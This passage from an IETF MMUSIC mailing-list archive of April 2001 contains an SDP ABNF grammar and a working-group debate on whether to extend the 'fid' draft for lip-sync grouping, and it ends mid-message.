  Alternately, we could define it as 1*(token-char|"/"), or as
  token *("/" token).  What semantics does the group want for this field?

Comments are welcome.


--LwKA5vSD1r
Content-Type: text/plain
Content-Disposition: inline;
	filename="sdp.abnf"
Content-Transfer-Encoding: 7bit

   ; SDP Syntax (cleaned up)
   announcement =        proto-version
                         origin-field
                         session-name-field
                         information-field
                         uri-field
                         email-fields
                         phone-fields
                         connection-field
                         bandwidth-fields
                         time-fields
                         key-field
                         attribute-fields
                         media-descriptions

   proto-version =       "v=" 1*DIGIT CRLF
                         ;this memo describes version 0

   origin-field =        "o=" username SP sess-id SP sess-version SP
                         nettype SP addrtype SP addr CRLF

   session-name-field =  ["s=" text CRLF]

   information-field =   ["i=" text CRLF]

   uri-field =           ["u=" uri CRLF]

   email-fields =        *("e=" email-address CRLF)

   phone-fields =        *("p=" phone-number CRLF)


   connection-field =    ["c=" nettype SP addrtype SP
                         connection-address CRLF]
                         ;a connection field must be present
                         ;in every media description or at the
                         ;session-level


   bandwidth-fields =    *("b=" bwtype ":" bandwidth CRLF)


   time-fields =         1*( "t=" start-time SP stop-time
                         *(CRLF repeat-fields) CRLF)
                         [zone-adjustments CRLF]


   repeat-fields =       "r=" repeat-interval SP typed-time
                         1*(SP typed-time)


   zone-adjustments =    "z=" time SP ["-"] typed-time
                         *(SP time SP ["-"] typed-time)


   key-field =           ["k=" key-type CRLF]


   attribute-fields =    *("a=" attribute CRLF)


   media-descriptions =  *( media-field
                         information-field
                         *connection-field
                         bandwidth-fields
                         key-field
                         attribute-fields )

   media-field =         "m=" media SP port ["/" integer]
                         SP proto 1*(SP fmt) CRLF


   ; sub-rules of 'o='
   username =            non-ws-string
                         ;pretty wide definition, but doesn't include space

   sess-id =             1*DIGIT
                         ;should be unique for this originating username/host


   sess-version =        1*DIGIT
                         ;0 is a new session

   nettype =             token
                         ;typically "IN"


   addrtype =            token
                         ;typically "IP4" or "IP6"



   ; sub-rules of 'u='
   uri =                 URI-reference; defined in RFC2396/2732


   ; sub-rules of 'e='
   email-address =       email *SP "(" 1*email-safe ")" |
                         1*email-safe "<" email ">" |
                         email


   email =               addr-spec ; defined in drums msgfmt (RFC822bis)
                                   ; modified to remove CFWS


   ; sub-rules of 'p='
   phone-number =        phone *SP "(" 1*email-safe ")" |
                         1*email-safe "<" phone ">" |
                         phone

   phone =               "+" POS-DIGIT 1*(SP | "-" | DIGIT)
                         ;there must be a space or hyphen between the
                         ;international code and the rest of the number.

                         ; Should this use the tel: URL syntax?


   ; sub-rules of 'c='
   connection-address =  multicast-address
                         | addr


   ; sub-rules of 'b='
   bwtype =              token

   bandwidth =           1*DIGIT


   ; sub-rules of 't='
   start-time =          time | "0"

   stop-time =           time | "0"

   time =                POS-DIGIT 9*DIGIT
                         ; 10-digit NTP time represents times between
                         ; 1931 and 5068 AD.  9* allows times after that
                         ; as well.


   ; sub-rules of 'r=' and 'z='
   repeat-interval =     typed-time


   typed-time =          POS-DIGIT *DIGIT [fixed-len-time-unit]


   fixed-len-time-unit = "d" | "h" | "m" | "s"


   ; sub-rules of 'k='
   key-type =            "prompt" |
                         "clear:" text |
                         "base64:" base64 |
                         "uri:" uri |
                         key-method [ ":" text ]

   base64      =         *base64-unit [base64-pad]
   base64-unit =         4base64-char
   base64-pad  =         2base64-char "==" | 3base64-char "="
   base64-char =         ALPHA | DIGIT | "+" | "/"

   key-method =          token


   ; sub-rules of 'a='
   attribute =           (att-field ":" att-value) | att-field


   att-field =           token


   att-value =           byte-string


   ; sub-rules of 'm='
   media =               token
                         ;typically "audio", "video", "application"
                         ;or "data"

   fmt =                 token
                         ;typically an RTP payload type for audio
                         ;and video media


   proto  =              token "/" token
                         | token
                         ;typically "RTP/AVP" or "udp" for IP4


   port =                1*DIGIT
                         ;should in the range "1024" to "65535" inclusive
                         ;for UDP based media


   ; generic sub-rules: addressing
   multicast-address =   addr "/" ttl [ "/" integer ]
                         ;IPv4 multicast addresses must be in the range
                         ;224.0.0.0 to 239.255.255.255
                         ;IPv6 multicast addresses must begin with the byte
                         ;FF or include an IPv4 multicast address

   ttl =                 (POS-DIGIT *2DIGIT) | "0"

   addr =                IPv4address | IPv6address | FQDN | extension-addr

   FQDN =                *( domainlabel "." ) toplabel

   domainlabel =         alpha-numeric restoflabel

   toplabel =            ALPHA restoflabel

   restoflabel =         *(*("-") alpha-numeric)

   extension-addr =      non-ws-string

   ; generic sub-rules: datatypes
   text =                byte-string
                         ;default is to interpret this as IS0-10646 UTF8
                         ;ISO 8859-1 requires a "a=charset:ISO-8859-1"
                         ;session-level attribute to be used

   byte-string =         1*(%x01-09|%x0b-0c|%x0e-ff)
                         ;any byte except NUL, CR or LF

   non-ws-string =       1*(VCHAR|%x80-ff)
                         ;string of visible US-ASCII, or high-bit, characters

   token-char =          %x21|%x23-27|%x2a-2b|%x2d-2e|%x30-39|
                             %x41-5a|%x5e-7e
                         ; definition from RFC 2045 -
                         ; "any (US-ASCII) CHAR except SPACE, CTLs,
                         ; or tspecials".
                         ; the tspecials are ()<>@,;:\"/[]?=

   token =               1*(token-char)

   email-safe =          1*(%x01-09|%x0b-0c|%x0e-27|
                            %x2a-3b|%x3d|%x3e-ff)
                         ;any byte except NUL, CR, LF, or the quoting
                         ;characters ()<>


   integer =             POS-DIGIT *DIGIT


   ; generic sub-rules: primitives

   alpha-numeric =       ALPHA | DIGIT

   POS-DIGIT =           %x31-39 ; 1 - 9


   ; external references:
   ; addr-spec: from draft-ietf-drums-msg-format (RFC822bis)
   ; IPv4address, IPv6address: From RFC 2373
   ; URI-reference: from RFC 2396, as modified by RFC 2732
   ; ALPHA, DIGIT, CRLF, SP, VCHAR: from RFC 2234

--LwKA5vSD1r
Content-Type: text/plain; charset=us-ascii
Content-Description: .signature
Content-Transfer-Encoding: 7bit


-- 
Jonathan Lennox
lennox@cs.columbia.edu


--LwKA5vSD1r--

From confctrl-owner  Tue Apr  3 14:36:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA02690
	for confctrl-outgoing; Tue, 3 Apr 2001 14:36:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA02685
	for <confctrl@zephyr.isi.edu>; Tue, 3 Apr 2001 14:36:28 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f33LaNq22307
	for <confctrl@ISI.EDU>; Tue, 3 Apr 2001 14:36:23 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f33LaDI28717;
	Tue, 3 Apr 2001 23:36:13 +0200 (MEST)
Received: from lmf.ericsson.se (EWUwsp001634wss.sd.us.am.ericsson.se [142.133.141.50])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id XAA04024;
	Tue, 3 Apr 2001 23:36:08 +0200 (MET DST)
Message-ID: <3ACA41B3.BFB162B7@lmf.ericsson.se>
Date: Wed, 04 Apr 2001 00:33:39 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
CC: Orit Levin <orit@radvision.com>, Joerg Ott <jo@tzi.uni-bremen.de>
Subject: New requirements for fid?
References: <0D5BBF5D638DD4119E3400508BD949454ED118@RADVPOST>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Orit Levin from Radvision has proposed to extend a little bit the fid
draft to cover, besides a flow consisting of several media streams
(which is the current purpose of fid), lip-sync as well.

The syntax would not be difficult to change. I can think right now of
two ways:

1) asinging a unique identifier to each media steam and adding a session
level attribute that groups them and states the semantics (for example,
m lines 1 and 2 anre grouped for lyp-sync; m lines 2 and 3 are grouped
because they are a single flow).

2) let the fid as it is and define lid is a similar way. m lines with
the same lid are grouped for lip-sync.

I would like to get the opinion of the WG. Do folks think that adding
this funcionality to the fid is appropiate? If so, I can add it and
release the draft again.

If folks think that the fid is OK as it is and that this functionality
should not be added, we can progress with the WG last call.

Independently of the answer of the group, I believe that folks attending
the WG meetings should speak up before, not in the last moment. 

Best regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Apr  3 16:32:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA07155
	for confctrl-outgoing; Tue, 3 Apr 2001 16:32:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA07150
	for <confctrl@zephyr.isi.edu>; Tue, 3 Apr 2001 16:32:22 -0700 (PDT)
Received: from zcars04f.ca.nortel.com (zcars04f.nortelnetworks.com [47.129.242.57])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f33NWOq20178
	for <confctrl@ISI.EDU>; Tue, 3 Apr 2001 16:32:24 -0700 (PDT)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Tue, 3 Apr 2001 19:13:09 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <H9843XSN>; Tue, 3 Apr 2001 19:13:11 -0400
Message-ID: <28560036253BD41191A10000F8BCBD110250C91B@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic <confctrl@ISI.EDU>
Cc: Orit Levin <orit@radvision.com>, Joerg Ott <jo@tzi.uni-bremen.de>
Subject: RE: New requirements for fid?
Date: Tue, 3 Apr 2001 19:13:08 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0BC93.A54AC8D0"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0BC93.A54AC8D0
Content-Type: text/plain;
	charset="iso-8859-1"

This looks like a good idea.  We can't use it in Megaco because we separate
our streams and stream descriptions, but we get the equivalent effect by
saying that streams passing through the same termination are synchronized.
It would be nice if SIP had the matching capability.

> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Tuesday, April 03, 2001 5:34 PM
> To: mmusic
> Cc: Orit Levin; Joerg Ott
> Subject: New requirements for fid?
> 
> 
> Hello,
> 
> Orit Levin from Radvision has proposed to extend a little bit the fid
> draft to cover, besides a flow consisting of several media streams
> (which is the current purpose of fid), lip-sync as well.
> 
> The syntax would not be difficult to change. I can think right now of
> two ways:
> 
> 1) asinging a unique identifier to each media steam and 
> adding a session
> level attribute that groups them and states the semantics 
> (for example,
> m lines 1 and 2 anre grouped for lyp-sync; m lines 2 and 3 are grouped
> because they are a single flow).
> 
> 2) let the fid as it is and define lid is a similar way. m lines with
> the same lid are grouped for lip-sync.
> 
> I would like to get the opinion of the WG. Do folks think that adding
> this funcionality to the fid is appropiate? If so, I can add it and
> release the draft again.
> 
> If folks think that the fid is OK as it is and that this functionality
> should not be added, we can progress with the WG last call.
> 
> Independently of the answer of the group, I believe that 
> folks attending
> the WG meetings should speak up before, not in the last moment. 
> 
> Best regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027                   
> USA                              Gonzalo.Camarillo@ericsson.com
> 
> 

------_=_NextPart_001_01C0BC93.A54AC8D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.19">
<TITLE>RE: New requirements for fid?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>This looks like a good idea.&nbsp; We can't use it in =
Megaco because we separate our streams and stream descriptions, but we =
get the equivalent effect by saying that streams passing through the =
same termination are synchronized.&nbsp; It would be nice if SIP had =
the matching capability.</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Gonzalo Camarillo [<A =
HREF=3D"mailto:Gonzalo.Camarillo@lmf.ericsson.se">mailto:Gonzalo.Camaril=
lo@lmf.ericsson.se</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, April 03, 2001 5:34 PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: mmusic</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: Orit Levin; Joerg Ott</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: New requirements for fid?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hello,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Orit Levin from Radvision has proposed to =
extend a little bit the fid</FONT>
<BR><FONT SIZE=3D2>&gt; draft to cover, besides a flow consisting of =
several media streams</FONT>
<BR><FONT SIZE=3D2>&gt; (which is the current purpose of fid), lip-sync =
as well.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The syntax would not be difficult to change. I =
can think right now of</FONT>
<BR><FONT SIZE=3D2>&gt; two ways:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 1) asinging a unique identifier to each media =
steam and </FONT>
<BR><FONT SIZE=3D2>&gt; adding a session</FONT>
<BR><FONT SIZE=3D2>&gt; level attribute that groups them and states the =
semantics </FONT>
<BR><FONT SIZE=3D2>&gt; (for example,</FONT>
<BR><FONT SIZE=3D2>&gt; m lines 1 and 2 anre grouped for lyp-sync; m =
lines 2 and 3 are grouped</FONT>
<BR><FONT SIZE=3D2>&gt; because they are a single flow).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 2) let the fid as it is and define lid is a =
similar way. m lines with</FONT>
<BR><FONT SIZE=3D2>&gt; the same lid are grouped for lip-sync.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I would like to get the opinion of the WG. Do =
folks think that adding</FONT>
<BR><FONT SIZE=3D2>&gt; this funcionality to the fid is appropiate? If =
so, I can add it and</FONT>
<BR><FONT SIZE=3D2>&gt; release the draft again.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; If folks think that the fid is OK as it is and =
that this functionality</FONT>
<BR><FONT SIZE=3D2>&gt; should not be added, we can progress with the =
WG last call.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Independently of the answer of the group, I =
believe that </FONT>
<BR><FONT SIZE=3D2>&gt; folks attending</FONT>
<BR><FONT SIZE=3D2>&gt; the WG meetings should speak up before, not in =
the last moment. </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Best regards,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo</FONT>
<BR><FONT SIZE=3D2>&gt; -- </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo =
Camarillo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone :&nbsp;&nbsp; =
+1 212 939 71 71</FONT>
<BR><FONT SIZE=3D2>&gt; Columbia =
University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile:&nbsp; +358 40 702 35 =
35</FONT>
<BR><FONT SIZE=3D2>&gt; 472 Computer Science =
Building&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fax&nbsp;&nbsp; =
:&nbsp; +358&nbsp; 9 299 30 52</FONT>
<BR><FONT SIZE=3D2>&gt; 1214 Amsterdam Ave., Mail Code 0401&nbsp; <A =
HREF=3D"http://www.hut.fi/~gonzalo" =
TARGET=3D"_blank">http://www.hut.fi/~gonzalo</A></FONT>
<BR><FONT SIZE=3D2>&gt; New York, NY =
10027&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; =
USA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gonzalo.Camarillo@ericsson.com</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0BC93.A54AC8D0--

From confctrl-owner  Wed Apr  4 04:28:31 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA28003
	for confctrl-outgoing; Wed, 4 Apr 2001 04:28:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA27998
	for <confctrl@zephyr.isi.edu>; Wed, 4 Apr 2001 04:28:30 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f34BSJq26917
	for <confctrl@isi.edu>; Wed, 4 Apr 2001 04:28:20 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA14135;
	Wed, 4 Apr 2001 07:28:18 -0400 (EDT)
Message-Id: <200104041128.HAA14135@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-fid-01.txt
Date: Wed, 04 Apr 2001 07:28:17 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The SDP fid attribute
	Author(s)	: G. Camarillo, J. Holler, G. Eriksson
	Filename	: draft-ietf-mmusic-fid-01.txt
	Pages		: 7
	Date		: 03-Apr-01
	
This document defines an SDP media attribute. The use of this
attribute allows receiving media from a single flow (several media
streams), encoded in different formats during a particular session,
in different ports and host interfaces.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-fid-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-fid-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010403124359.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-fid-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-fid-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010403124359.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Apr  4 05:53:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA00633
	for confctrl-outgoing; Wed, 4 Apr 2001 05:53:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA00628
	for <confctrl@zephyr.isi.edu>; Wed, 4 Apr 2001 05:53:37 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f34Crbq05023;
	Wed, 4 Apr 2001 05:53:37 -0700 (PDT)
Received: from rubin.informatik.uni-bremen.de (IDENT:root@rubin.informatik.uni-bremen.de [134.102.224.59])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f34CrVG02414;
	Wed, 4 Apr 2001 14:53:31 +0200 (MEST)
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Received: (from jo@localhost)
	by rubin.informatik.uni-bremen.de (8.9.3/8.8.7) id OAA18343;
	Wed, 4 Apr 2001 14:53:34 +0200
Message-Id: <200104041253.OAA18343@rubin.informatik.uni-bremen.de>
Subject: Re: New requirements for fid?
To: Gonzalo.Camarillo@lmf.ericsson.se (Gonzalo Camarillo)
Date: Wed, 4 Apr 2001 14:53:34 +0200 (MEST)
Cc: confctrl@ISI.EDU (mmusic), orit@radvision.com (Orit Levin),
        jo@tzi.uni-bremen.de (Joerg Ott), csp@ISI.EDU
In-Reply-To: <3ACA41B3.BFB162B7@lmf.ericsson.se> from "Gonzalo Camarillo" at Apr 04, 2001 12:33:39 AM
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I think Colin and myself have made it clear over the last two IETFs that
we will not allow any further tweaks to SDP or further extensions but
instead focus on the SDPng work.  This is also where folks looking for
further extensions should put their efforts (contributions are rather
limited at the moment though!).

This has also been established consensus at the last two IETF meetings.

> Orit Levin from Radvision has proposed to extend a little bit the fid
> draft to cover, besides a flow consisting of several media streams
> (which is the current purpose of fid), lip-sync as well.

I is a well known deficiency of SDP that it provides no means to link
different streams to each other.  This is one of the issues to address
with SDPng.

Despite this deficiency I have not heard a pressing argument to fix this
while we have been dealing with SDP revisions over the last year.  Given
that SDPng is coming closer we should not go for further feature creep
into SDP; there has been far too much until now.

But there are technical issues as well.

> The syntax would not be difficult to change. I can think right now of
> two ways:
> 
> 1) asinging a unique identifier to each media steam and adding a session
> level attribute that groups them and states the semantics (for example,
> m lines 1 and 2 anre grouped for lyp-sync; m lines 2 and 3 are grouped
> because they are a single flow).

This is probably the architecturally cleaner approach (of the two).  But
this also means that the semantics for those session level attributes
have to be defined, including their possisble "feature interactions".
An extension or registration mechanism has to be put into place for this
as well.  There is quite some convincing to be done before I am willing
to go through this kind of hassle for AN INTERIM SOLUTION!

> 2) let the fid as it is and define lid is a similar way. m lines with
> the same lid are grouped for lip-sync.

This would mean that we are likely to come up with 10 other [a-z]id
attributes in the near future for the same purpose.  This does not sound
like a road I want to go down to.

Apparently, the lip-sync stuff only applies to video conferencing or
other *multi* media applications.  However, I'd like to see the
reasoning why this needs to be done, why this can't be done based upon
assumptions (like so many other things with SDP), why this needs to be
done now (and has not been raised before), and why this can't wait for
SDPng.  Even then, I would still be hesitant to allow further features
into SDP.
> 
> I would like to get the opinion of the WG. Do folks think that adding
> this funcionality to the fid is appropiate? If so, I can add it and
> release the draft again.
> 
> If folks think that the fid is OK as it is and that this functionality
> should not be added, we can progress with the WG last call.
> 
We agreed on a WG Last Call at the IETF; given this discussion, I would
liket to postpone this for a moment to give people another chance to
speak up.  But, I would really like to close this and issue a WG Last
Call on the fid document AS IS by the beginning of next week.

Comments?

Cheers,
Joerg


From confctrl-owner  Wed Apr  4 10:45:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA09373
	for confctrl-outgoing; Wed, 4 Apr 2001 10:45:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA09343
	for <confctrl@zephyr.isi.edu>; Wed, 4 Apr 2001 10:45:02 -0700 (PDT)
Received: from london.nwtraders.ru (ppp131-17.dialup.mtu-net.ru [62.118.131.17])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f34Hiqq09806;
	Wed, 4 Apr 2001 10:44:54 -0700 (PDT)
Received: by LONDON with Internet Mail Service (5.5.2650.21)
	id <2J1XAQJB>; Wed, 4 Apr 2001 21:41:10 +0400
Message-ID: <812722963628D511BABF0010A4040B9D3C10@LONDON>
From: Alex <mailsend@mtu-net.ru>
To: 
Subject: =?koi8-r?Q?=F0=D2=C9=C7=CC=C1=DB=C5=CE=C9=C5=21?=
Date: Wed, 4 Apr 2001 21:40:25 +0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

http://www.geocities.com/a_commerce/ <http://www.geocities.com/a_commerce/> 

From confctrl-owner  Wed Apr  4 15:03:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA17381
	for confctrl-outgoing; Wed, 4 Apr 2001 15:03:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA17376
	for <confctrl@zephyr.isi.edu>; Wed, 4 Apr 2001 15:03:24 -0700 (PDT)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f34M3Mq19318;
	Wed, 4 Apr 2001 15:03:23 -0700 (PDT)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <GNL2Y6CH>; Wed, 4 Apr 2001 17:02:57 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD949454ED129@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "'Joerg Ott'" <jo@Informatik.Uni-Bremen.DE>,
        Gonzalo.Camarillo@lmf.ericsson.se
Cc: confctrl@ISI.EDU, jo@tzi.uni-bremen.de, csp@ISI.EDU
Subject: RE: New requirements for fid?
Date: Wed, 4 Apr 2001 17:02:55 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello all!
First of all I would like to apologize for this late timing, which
(hopefully) may be justified by our exploration of "SIP beyond Voice only"
direction. 

<<I think Colin and myself have made it clear over the last two IETFs that
we will not allow any further tweaks to SDP or further extensions but
instead focus on the SDPng work ...
This has also been established consensus at the last two IETF meetings.>>

Following the working group consensus, I am not proposing a new extension to
SDP beyond the current "fid" requirement. Moreover, I don't see the proposed
changes to the latest "fid draft" as addressing new requirements.
Technically, it is an attempt to address the same requirements in a way
allowing standard interoperable applications.

<< I is a well known deficiency of SDP that it provides no means to link
different streams to each other.  This is one of the issues to address
with SDPng.
Despite this deficiency I have not heard a pressing argument to fix this
while we have been dealing with SDP revisions over the last year. >>

The debate over the "fid draft" for the whole last year is the proof for
emergency of this requirement.

<<This is probably the architecturally cleaner approach (of the two). >>

I definitely agree with you. Below is the proposal:

I would define the fid exactly the way it is defined now, but I would use it
for numbering of each m line alone. (Also I would rename it to mid ;-)).
Then I would add a block exactly as in the "simple capabilities" draft:
